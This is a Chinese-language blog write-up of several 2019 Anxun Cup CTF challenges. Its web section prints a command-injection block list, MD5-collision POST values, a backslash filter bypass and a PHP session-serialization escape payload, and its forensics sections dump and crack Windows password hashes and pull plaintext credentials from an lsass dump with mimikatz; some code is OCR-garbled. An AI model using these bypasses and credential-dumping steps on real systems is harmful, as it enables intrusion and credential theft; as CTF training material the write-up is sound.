第二届安洵杯2019部分writeup

原创

大千SS ● 于 2019-12-01 19:21:58 发布 ● 4911 ℃ 收藏 2 分类专栏: <u>赛题复现</u> 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/zz_Caleb/article/details/103338156</u> 版权

C

赛题复现 专栏收录该内容

15 篇文章 1 订阅 订阅专栏

Web

easy_web

参数可疑: ?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= TXpVek5UTTFNbVUzTURabE5qYz0进行两次base64解密,一次hex解密得到555.png

可能是可能利用的文件读取漏洞,对index.php进行读取

```
?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
   header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
   echo '<img src ="./ctf3.jpeg">';
   die("xixi~ no flag");
   $txt = base64 encode(file get contents($file));
   echo "<img src='data:image/gif;base64," . $txt . "'></img>";
   echo "<br>";
echo <mark>$cmd</mark>;
if (preg_match("/ls|bash|tac|n1|more|less|head|wget|tai1|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|e
cho|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
   echo "<br>";
    if ((string)<sup>$_POST['a'] !== (string)<sup>$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {</sup></sup>
    } else {
        echo ("md5 is funny ~");
```

参数cmd是推测是命令执行的,但是有正则过滤:

preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo| sh|\'|\"|\`|;|,|*|\?|\\|\\\\\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\\$|\[|\]|{|}|\(|\)|-|<|>/i", \$cmd)

而且还有md5碰撞:

if ((string)\$_POST['a'] !== (string)\$_POST['b'] && md5(\$_POST['a']) === md5(\$_POST['b']))

这个md5的绕过方法比较固定:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a 8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a

8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

然后就可以命令执行了,用的burp发的包,我的hackbar执行之后不出结果,可能哪里有问题

🕌 Burp Suite Professional v2.0.05beta - Temporary Project - licensed to surferxyz – 🛛	\times
Burp Project Intruder Repeater Window Help	
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options	
1 ×	
	<u>^</u>
Go Cancel Cancel Follow redirection Target: http:////295b12-5cc0.44cc-9596-1b61ctdb/ded.node3.buuoj.cn	$ \mathcal{V} \bigcirc $
Request Response	
Raw Params Headers Hex HTML Render	
POST index pip ⁰ cmd=ut pi ⁰ rmd=ut pi ⁰	
	matchec
Done	152 millis

没有flag线索啊,dir%20/看下根目录文件试试:

💕 Burp Suite Professional v2.0.05beta - Temporary Project - licensed to surferxyz			\times
Burp Project Intruder Repeater Window Help		_	
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options			
1 ×			
Go Cancel < Follow redirection Target: http://77295b12-5cc0	-44cc-9596-1b61cfdb7ded.node3.bu	uoj.cn	10

Request	Response
Raw Params Headers Hex	Raw Headers Hex HTML Render
POST /index.phi ?cmd=dir%20/ HTTP/1.1 Host: 77295b12 5c63-44cc-9596-1b61cfdb7ded.node3.buuoj.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept:Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept:Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 389 Origin: http://77295b12-5cc0-44cc-9596-1b61cfdb7ded.node3.buuoj.cn Connection: close Refere: http://77295b12-5cc0-44cc-9596-1b61cfdb7ded.node3.buuoj.cn/index.php?img=TXpVek5U TTFNbVUzTURabE5qY20&cmd=dir Upgrade-Insecure-Requests: 1 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%bb 2%11b%dc%656%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a3%60%af %b5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%200%95%72%d4%77%7b%72%15%83%60%f %67%d3%6ff%a7%b2%11b%dc%656%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2 %02%a8%28%4b%65%b07%fe%a2 %02%a8%28%4b%65%b07%fe%a2	THTP/1.1 200 OK Server: openresty Date: Mon, O9 Dec 2019 14.25:47 GMT Content-Type: text/html;charset=utf8 Content-Length: 361 Connection: close Refresh: O;ut=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= Vary: Accept-Encoding X-Powered-By: PHP/7.1.33 br> bin dev flag 1b media opt root sbin sys usr boot etc home lib64 mnt proc run srv tmp var <html> <style></style></br></html>

注意空格%20编码,不然没结果

cat、tac、more、less、tail等查看文件内容的都被禁用了,怎么查看flag呢? 从过滤代码中看到: [\\\]

然而川才是匹配一个\,所以使用\绕过: cmd=/bin/ca\t或者cmd=/bin/c\at (ls c\at这样带个转义字符的命令在Linux上也是确实可以执行的)

🚯 Burp Suite Professional v2.0.05beta - Temporary Project - licensed to surferxyz – 🗆 X								
Burp Project Intruder Repeater Window Help								
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer	Extender Project options User options							
1 ×								
Go Cancel < v > v Follow redirection	Target: http://77295b12-5cc0-44cc-9596-1b61cfdb7ded.node3.buuoj.cn 🏑	° (?)						
Request	Response							
Raw Params Headers Hex	Raw Headers Hex HTML Render							
POST /index.php?cmd=/bin/ctat%20/flag HTTP/1.1 Host: 77295b12-5cc0-44cc-9596-1b61cfdb7ded.node3.buuoj.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept:text/html,application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded Content-Length: 389 Origin: http://77295b12-5cc0-44cc-9596-1b61cfdb7ded.node3.buuoj.cn Connection: close Refere: http://77295b12-5cc0-44cc-9596-1b61cfdb7ded.node3.buuoj.cn/index.php?img=TXpVek5U TTFNbVUzTURabE5q Y20&cmd=dir Upgrade-Insecure-Requests: 1 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%bb 2%1b%dc%565%b17%4a%3d%c0%78%3e%7b%957%6d%a0%d1%55%5d%88%28%4b%ff %86%%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%f1 %87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%a9%67%6d%a0%d1 %d5%5d%83%60%fb%5f%07%fe%a2	<pre>HTTP/1.1 200 OK Server: openresty Date: Mon, 09 Dec 2019 14:32:36 GMT Content-Type: text/html;charset=utf-8 Content-Length: 303 Connection: close Refresh: 0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= Vary: Accept-Encoding X-Powered-By: PHP/7.1.33 br/bin/c\at /flag br>. <html> <style></style></html></br></pre>							

		×				
?	< + > Type a search term	0 matches	?	< + > Type a search term	0 ma	tches
Done					https://blog.cs 571 bytes 55	millis

easy_serialize_php

```
$function = @$_GET['f'];
   $filter_arr = array('php','flag','php5','php4','fl1g');
   return preg_replace($filter,'',$img);
if($_SESSION){
   unset($_SESSION);
 _SESSION["user"] = 'guest';
extract($_POST);
if(!$function){
   echo '<a href="index.php?f=highlight file">source code</a>';
if(!$_GET['img_path']){
   $_SESSION['img'] = base64_encode('guest_img.png');
   $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
   highlight_file('index.php');
}else if($function == 'phpinfo'){
   eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
   echo file_get_contents(base64_decode($userinfo['img']));
```

首先phpinfo这里有提示,传参f=phpinfo可以找到d0g3_f1ag.php,可能就是flag从存放处了。

仔细看一下代码我们要上处的是_SESSION,目的是反序列化并base64decode之后要读到d0g3_f1ag.php。构造payload:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

可以看到巧妙之处,这样经过filter(serialize(\$_SESSION))之后得到:

a:1:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}

由于phpflag被过滤,s:7的内容就变成了";s:48:,这样后面的s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";可以正常解析为 img=ZDBnM19mMWFnLnBocA==,这样d0g3_f1ag.php就可以被读到了

Request	Response
Raw Params Headers Hex	Raw Headers Hex Render
POST /index.php?f=show_image HTTP/1.1	HTTP/1.1 200 OK
Host: eda6a84a-a73c-45e8-a59e-a82de01f1628.node3.buuoj.cn	Server: openresty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0	Date: Mon, 09 Dec 2019 16:08:11 GMT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	Content-Type: text/html; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2	Content-Length: 45
Accept-Encoding: gzip, deflate	Connection: close
Connection: close	
Upgrade-Insecure-Requests: 1	php</td
Content-Type: application/x-www-form-urlencoded	
Content-Length: 66	\$flag = 'flag in /d0g3_flllllag';
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}	?>
1 I I I I I I I I I I I I I I I I I I I	
4	

(记得修改为POST方法,右键change) 接着读取/d0g3_flllllag即可

Misc

吹着斯扫维码

这个就有点过分了,36张碎片,手动拼二维码



二维码扫出来的结果是:

BASE Family Bucket ??? 85->64->85->13->16->32

下面就需要把压缩包的注释内容进行base的这一系列的解码了,但是这个13是什么玩意。。。(rot13啦,被骗了QAQ) (为毛能爆破出压缩包的密码,解出来flag.txt是乱码。。。被这个误导了) 上面的其实是加密顺序,解码顺序和上面的相反 GNATOMJVIQZUKNJXGRCTGNRTGI3EMNZTGNBTKRJWGI2UIMRRGNBDEQZWGI3DKMSFGNCDMRJTII3TMNBQGM4TER RTGEZTOMRXGQYDGOBWGI2DCNBY base32解码: 3A715D3E574E36326F733C5E625D213B2C62652E3D6E3B7640392F3137274038624148 base16解码: :q]>WN62os<^b]!;,be.=n;v@9/17`@8bAH rot13解码: :d]>JA62bf<^o]!;,or.=a;i@9/17`@8bAH rot13解码: :d]>JA62bf<^o]!;,or.=a;i@9/17`@8bAH sase64解码: <+oue8TRgA@rc.&+Yki0 base64解码: <+oue8TRgA@rc.&+Yki0 base85解码: ThislsSecret!233 解压拿到flag: flag{Qr_ls_MeAn1nGfuL}

music

解压有三个文件:

i 3.mp3
i password.txt
i 林俊杰 - 可惜没如果.zip

password.txt中内容:

3.mp3的密码是123456哦

使用mp3stego和密码123456解密3.mp3:

Decode.exe -X 3.mp3 -P 123456

解密得到:密码是123qwe123 解压林俊杰压缩包得到wav文件,这个依然是个隐写,使用silenteye去decode得到flag: flag{lsb_is_so_easy}

secret

解压得到的是dump内存文件,使用volatility进行分析 先看下大致信息:

volatility -f mem.dump imageinfo



然后看一下内存中的进程

volatility -f mem.dump --profile=Win7SP1x64 pslist

root@kali :/mnt/hgfs/共享文件夹# volati	lity -f m	em.dump	profil	le=Win7SF	P1x64 p	slist		
Volatility Foundation Volatility Frame	work 2.6							
Offset(V) Name	PID	PPID	Thds	Hnds	Sess	Wow64 Start		E)
0xfffffa800ccc1b10 System	4	0	88	534		0 2019-11-13	08:31:48 UTC+0000	2
0xfffffa800d2fbb10 smss.exe	252	4	2	29		0 2019-11-13	08:31:48_UTC+0000	
0xfffffa800e2227e0 csrss.exe	344	328	9	400	0	0 2019-11-13	08:31:49 UTC+0000	2
0xfffffa800e3f3340 wininit.exe	396	328	3	79	0	0 2019-11-13	08:31:49 UTC+0000	
0xfffffa800e3f77d0 csrss.exe	404	388	10	225	1	0 2019-11-13	08:31:49 UTC+0000	
0xfffffa800e41fb10 winlogon.exe	444	388	3	111	- 1	0 2019-11-13	08:31:49 UTC+0000	
0xfffffa800e457060 services.exe	500	396	8	210	0	0 2019-11-13	08:31:49 UTC+0000	
0xfffffa800e426b10 lsass.exe	508	396	6	554	0	0 2019-11-13	08:31:49 UTC+0000	
0xfffffa800e464060 lsm.exe	516	396		145	0	0 2019-11-13	08:31:49 UTC+0000	
0xfffffa800e4f8b10 svchost.exe	608	500	10	351	0	0 2019-11-13	08:31:50 UTC+0000	
0xfffffa800e52bb10 svchost.exe	684	500	8	273	0	0 2019-11-13	08:31:50 UTC=0000	
0xfffffa800e570b10 svchost.exe	768	500	21	443	0	0 2019-11-13	08:31:50 UTC+0000	
0xfffffa800e5b5b10 svchost.exe	816	500	16	381	0	0 2019-11-13	08:31:50 UTC+0000	
0xfffffa800e5d7870 svchost.exe	860	500	18	666	0	0 2019-11-13	08:31:50 UTC+0000	R
0xfffffa800e5f8b10 svchost.exe	888	500	37	919	0	0 2019-11-13	08:31:50 UTC+0000	
0xfffffa800e66c870 svchost.exe	1016	500	5	114	0	0 2019-11-13	08:31:50 UTC+0000	
0xfffffa800e74fb10 svchost.exe	1032	500	15	364	0	0 2019-11-13	08:31:51 UTC+0000	
0xfffffa800e510320 spoolsv.exe	1156	500	13	273	0	0 2019-11-13	08:31:51 UTC+0000	
0xfffffa800e5b0060 svchost.exe	1184	500	11	194	0	0 2019-11-13	08:31:51 UTC+0000	
0xfffffa800e56e060 svchost.exe	1276	500	10	155	0	0 2019-11-13	08:31:52 UTC+0000	1
0xfffffa800e685060 svchost.exe	1308	500	12	228	0	0 2019-11-13	08:31:52 UTC+0000	
0xfffffa800e632060 svchost.exe	1380	500	. 4	167	0	0 2019-11-13	08:31:52 UTC+0000	
0xfffffa800e692060 VGAuthService.	1480	500	4	94	0	0 2019-11-13	08:31:52 UTC+0000	
0xfffffa800e7dab10 vmtoolsd.exe	1592	500	11	287	0	0 2019-11-13	08:31:52 UTC+0000	
0xfffffa800e8a7720 svchost.exe	1824	500	0-06	92	0	0 2019-11-13	08:31:53 UTC+0000	
0xfffffa800e898300 WmiPrvSE.exe	1980	608	10	203	0	0 2019-11-13	08:31:53 UTC+0000	
0xfffffa800e8e9b10 dllhost.exe	2044	500	15	197	0	0 2019-11-13	08:31:53 UTC+0000	
0xfffffa800e90d840 msdtc.exe	1320	500	14	152	0	0 2019-11-13	08:31:54 UTC+0000	
0xfffffa800e991b10 taskhost.exe	2208	500	10	264	1	0 2019-11-13	08:31:56 UTC+0000	
0xfffffa800e44a7a0 dwm.exe	2268	816	7	144	1	0 2019-11-13	08:31:57 UTC+0000	
0xfffffa800e9b8b10 explorer.exe	2316	2260	25	699	1	0 2019-11-13	08:31:57 UTC+0000	
0xfffffa800ea4f060 vm3dservice.ex	2472	2316	2	40	1	0 2019-11-13	08:31:57 UTC+0000	
0xfffffa800ea54b10 vmtoolsd.exe	2480	2316	9	188	1	0 2019-11-13	08:31:57 UTC+0000	
0xfffffa800ea9ab10 rundll32.exe	2968	2620	6	611	1	1 2019-11-13	08:32:02 UTC+0000	
0xfffffa800e8b59c0 WmiPrvSE.exe	2764	608	11	316	0	0 2019-11-13	08:32:13 UTC+0000	
0xfffffa800ea75b10 cmd.exe	2260	2316	1	20		0 2019-11-13	08:33:45 UTC+0000	
0xfffffa800e687330 conhost.exe	2632	404		63	1	0 2019-11-13	08:33:45 UTC+0000	
0xfffffa800e41db10 WmiApSrv.exe	2792	500		113		0 2019-11-13	08:34:27 UTC+0000	
0xfffffa800ed68840 CnCrypt.exe	1608	2316		115	1	1 2019-11-13	08:34:40 UTC+0000	
0xfffffa800e4a5b10 audiodg.exe	2100	768	6	130	0	0 2019-11-13	08:39:29 UTC+0000	
0xfffffa800ea57b10 DumpIt.exe	1072	2316	1	26	1	1 2019-11-13	08:39:43 UTC+0000	
0xfffffa800ealc060 conhost.exe	2748	404	2	62	1	0 2019-11-13	08:39:43 UTC+0000	2
root@kali:/mnt/hgfs/共享文件夹#							ps.nbiog.csun.net/22_Caler	9

发现下面两个可以的Dumplt.exe和CnCrypt.exe,看来这题和CnCrypt有关,CnCrypt是中国版TrueCrypt,是一个加密文件,加密 过的文件后缀为ccx。

查看一下内存中的file有没有flag的信息:

volatility -f mem.dump --profile=Win7SP1x64 filescan | grep flag

果然出现flag.ccx,然后导出:

volatility -f mem.dump --profile=Win7SP1x64 dumpfiles -Q 0x000000003e435890 -D ./ -u

文件名是根据volatility的内部模式命名的,改名为flag.ccx

挂载到CnCrypt上,需要密码才能查看 哪有密码的线索?使用administrator的密码试试吧 volatility导出administrator的hash值得到:

Administrator:500:6377a2fdb0151e35b75e0c8d76954a50:0d546438b1f4c396753b4fc8c8565d5b::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

0d546438b1f4c396753b4fc8c8565d5b拿去md5解密得到密码ABCabc123 解开ccx文件进入这个磁盘拿到flag: flag{now_you_see_my_secret}

Attrack

binwalk发现有压缩包,foremost分解出来,还有很多图片,压缩包里面就是flag,但是没有解压密码 压缩包注释里面:

这可是administrator的秘密,怎么能随便给人看呢?

联想到可能是windows密码,继续进行数据包分析,HTTP对象中有:

4	🛛 Wire	eshark · 导出 · HTT	P 对象列表		- 🗆 ×	
Γ	<u></u>	→-扣 <i>/</i> 2	中命光型	- -	立 世位	~
	7"纽	土1/1/石	内谷尖尘	入小	X1H石	
8	3301	192.168.206.131	text/html	50 bytes	conf1g.php	
8	3311	192.168.206.131	application/x-www	3451 bytes	conf1g.php	
1	3313	192.168.206.131	text/html	440 bytes	conf1g.php	
8	3325	192.168.206.131	application/x-www	1030 bytes	conf1g.php	
8	3326	192.168.206.131	text/html	312 bytes	conf1g.php	
8	3334	192.168.206.131	application/x-www	1044 bytes	conf1g.php	
8	3335	192.168.206.131	text/html	197 bytes	conf1g.php	
i	20460	192.168.206.131	application/vnd.tcp	34 MB	lsass.dmp	
1	20790	192.168.206.131	text/html	2659 bytes	errorPageStrings.js	
i	20809	192.168.206.131	text/html	2659 bytes	analyze.js	
i	20812	192.168.206.131	text/html	2208 bytes	errorPageStrings.js	
2	20820	192.168.206.131	text/html	2659 bytes	httpErrorPagesScripts.js	
2	20830	192.168.206.131	text/html	2659 bytes	policy.js	
2	20849	192.168.206.131	text/html	2659 bytes	ieerror.js	
2	20859	192.168.206.131	text/html	2659 bytes	privacypolicy.js	
2	20865	192.168.206.131	text/html	2659 bytes	NewTabPageScripts.js	
2	20875	192.168.206.131	text/html	2659 bytes	error.js	
2	20886	192.168.206.131	text/html	2659 bytes	invalidcert.js	~
3	て本过派	\$ 器 :			-	
			L	Save	Save All Close Help	ab
						111

一个镜像文件,应该

就是Windows的,接下来就是获取Windows凭据了,使用工具mimikatz来抓取密码: (Windows下要管理员身份运行才能正常运行) sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords full 可以看到导出的密码:

Authentication Id :	0 ; 347784 (00000000:00054e88)
Session :	Interactive from 1
User Name :	Administrator
Domain :	WIN7
Logon Server :	WTN7
Logon Time	2019/11/14 9:38:33
SID :	8-1-5-21-1539156736-1959120456-2224594862-50
msv :	
[0000003]	Primary
* Username	: Administrator
* Domain	: WIN7
* LM	: c4d0515fb12046a475113b7737dc0019
* NTLM	: aafdad330f5a9f4fbf562ed3d25f97de
* SHA1	: 8b9a7ca86970d1392b6fa0b94b8694c2b919469f
tspkg :	
* Username	: Administrator
<u>+ Domain</u>	: WIN7
∗ Password	: W3lcOmeToD0g3
w <mark>digest :</mark>	
* Ūsername	: Administrator
* Domain	: WIN7 https://blog.csdn.net/zz_Caleb
* Password	: W31c0meToD0a3

解压得flag.txt, flag在文件最下面:

D0g3{3466b11de8894198af3636c5bd1efce2}

Crypto

funney-php

题目代码:

```
$
function encode($str){
function encode($str);
function encode($str);
function encode($str);
for($_0=0;$_0<count($str1);$_0++){
    $_c=$str1[$_0];
    $_=$_.$_c;
}

function substr($_,$_1,1);
    $_e=ond($_d[$_1])+$_1;
    $_e=ond($_d[$_1])+$_1;
    $_==$_..$_f;
    if($_%100==0)
    $_==base64_encode($__);
}

function substr($_,$_1);

return $_;
}

function substr($_interpretent substr
```

解密代码:



题目代码中的if(\$__%100==0)没啥用

justaBase

VGhlIGdlb@xvZ#kgb@YgdGhlIEVhcnRoJ#Mgc#VyZmFjZSBpcyBkb@!pbmF)ZWQgYnkgdGhlIHBhcnRpY#VsYXIgcHJvcGVydGllcyBvZiB#YXRl ci\$gUHJlc@VudCBvbiBFYXJ)aCBpbiBzb@xpZCwgbGlxdWlkLCBhbmQgZ@FzZW(!cyBzdGF)ZXMsIHdhdGVyIGlzIGV\$Y@VwdGlvbmFsbHkgcmVh Y#RpdmUuIEl)IGRpc#NvbHZlcywgdHJhbnNwb#J)cywgYW%kIHByZWNpcGl)YXRlcyBtYW%%IGNoZW!pY@FsIGNvbXBvdW%kcyBhbmQgaXMgY@(u c#RhbnRseSBtb@RpZnlpbmcgdGhlIGZhY@Ugb@YgdGhlIEVhcnRoLiBFdmFwb#JhdGVkIGZyb@)gdGhlIG(jZWFucywgd@F)ZXIgdmFwb#IgZm(y bXMgY@xvdWRzLCBzb@!lIG(mIHdoaWNoIGFyZSB)cmFuc#BvcnRlZCBieSB#aW%kIG(@ZXIgdGhlIGNvbnRpbmVudHMuIENvbmRlbnNhdGlvbiBm cm(tIHRoZSBjbG(!ZHMgcHJvdmlkZXMgdGhlIGVzc@VudGlhbCBhZ@VudCBvZiBjb@%)aW%lbnRhbCBlcm(zaW(uOiByYWluLlRoZSByYXRIIGF) IHdoaWNoIGEgbW(sZWN!bGUgb@Ygd@F)ZXIgcGFzc@VzIHRob#VnaCB)aGUgY#ljbGUgaXMgbm()IHJhbmRvbQpBbmQgdGhlIGZsYWcgaXM^IENU RnsyMi!RV)VSVF1VSU*tUExLSkhHRkRTLUFaWENWQk%NfQ==

在字母数字键盘上把每个符号换成对应的数字即可

VGhlIGdlb2xvZ3kgb2YgdGhlIEVhcnRoJ3Mgc3VyZmFjZSBpcyBkb21pbmF0ZWQgYnkgdGhlIHBhcnRpY3VsYXIgcHJvcGVydGllcyBvZiB3YXRl ci4gUHJlc2VudCBvbiBFYXJ0aCBpbiBzb2xpZCwgbGlxdWlkLCBhbmQgZ2FzZW91cyBzdGF0ZXMsIHdhdGVyIGlzIGV4Y2VwdGlvbmFsbHkgcmVh Y3RpdmUuIE10IGRpc3NvbHZlcywgdHJhbnNwb3J0cywgYW5kIHByZWNpcGl0YXRlcyBtYW55IGNoZW1pY2FsIGNvbXBvdW5kcyBhbmQgaXMgY29u c3RhbnRseSBtb2RpZnlpbmcgdGhlIGZhY2Ugb2YgdGhlIEVhcnRoLiBFdmFwb3JhdGVkIGZyb20gdGhlIG9jZWFucywgd2F0ZXIgdmFwb3IgZm9y bXMgY2xvdWRzLCBzb21lIG9mIHdoaWNoIGFyZSB0cmFuc3BvcnRlZCBieSB3aW5kIG92ZXIgdGhlIGNvbnRpbmVudHMuIENvbmRlbnNhdGlvbiBm cm9tIHRoZSBjbG91ZHMgcHJvdmlkZXMgdGhlIGVzc2VudGlhbCBhZ2VudCBvZiBjb250aW5lbnRhbCBlcm9zaW9u0iByYWluLlRoZSByYXRIIGF0 IHdoaWNoIGEgbW9sZWN1bGUgb2Ygd2F0ZXIgcGFzc2VzIHRob3VnaCB0aGUgY31jbGUgaXMgbm90IHJhbmRvbQpBbmQgdGhlIGZsYWcgaXM6IENU RnsyMi1RV0VSVFIVSU8tUExLSkhHRkRTLUFaWENWQk5NFQ

解码得到flag: CTF{22-QWERTYUIO-PLKJHGFDS-AZXCVBNM}

easy misc

文件是不少啊,read文件夹里面有很多英文文档,推测是字频或者词频分析,但是这么多文件并不知道要分析哪个。

📜 read **壨** decode.zip 🖻 小姐姐.png



看看小姐姐.png吧,foremost可以分出来两个一样的图片,盲水印试一下得到一张图片:



看到in 11.txt,看来是要分析11.txt了,

先字频分析一下按顺序排列得到: etaonrhsidluygw 下一步卡壳,不过还有压缩包没干

decode.zip	- 360压缩						文件	操作	工具	帮助	Ð		_ 0	X
添加	新 国	一键解压	Sector Contraction Contractio	四月									扫描	
♠ 🔲 🗮	decode.	zip - 解包大小判	与1KB										V	
名称 (上级目录) decode.txt *			G	压缩前	压缩后	类型 文件夹	FLAG	IN ((√2	2524921	X85÷5+	2) ÷ 15-1	.794)+	NNULLULL	,
				 輸入密码 为加密的文件输, decode.txt □ 显示密码 管理密码 	入密码: 确定		取消	▼	~~~~					
大小:1 KB 共1	个文件 压缩率	74.9% 已经选择	≩ 1 KB (1 个)	文件)										

看到注释部分: FLAG IN ((√2524921X85÷5+2)÷15-1794)+NNULLULL, 也就是7+NNULLULL,

这个7是什么呢?看来wp之后才知道是掩码爆破,7个数字+NNULLULL,

Password successfully recovered !		\times			
Advanced Archive Password Recovery statistics:					
Total passwords	2,019,451				
Total time	133ms				
Average speed (passwords per second)	15,183,842				
Password for this file	2019456NNULLULL,	6			
Password in HEX	32 30 31 39 34 35 36 4e 4e 55 4c 4c 55 4	Co			
Save	https:/ M o gK asdn.net/zz_C	aleb			

掩码爆破就出密码了: 2019456NNULLULL,

然后解密得到:

a = dIW		
b = sSD		
c = adE		
d = jVf		
e = QW8		
f = SA=		
g = jBt		
h = 5RE		
i = tRQ		
j = SPA		
k = 8DS		
l = XiE		
m = S8S		
n = MkF		
о = Т9р		
p = PS5		
q = E/S		
r = -sd		
s = SQW		
t = obW		
u = /WS		
v = SD9		
w = cw=		
x = ASD		
y = FTa		
z = AE7		

按照etaonrhsidluygw的顺序进行拼接得到:QW8obWdlWT9pMkF-sd5RESQWtRQjVfXiE/WSASDjBtcw=

但是由于题目出了点问题,r=-sd改为r=nullh=5RE改为h=null,这样拼接之后就是 QW8obWdIWT9pMkFSQWtRQjVfXiE/WSFTajBtcw=,然后base64解码,base85解码得到flag。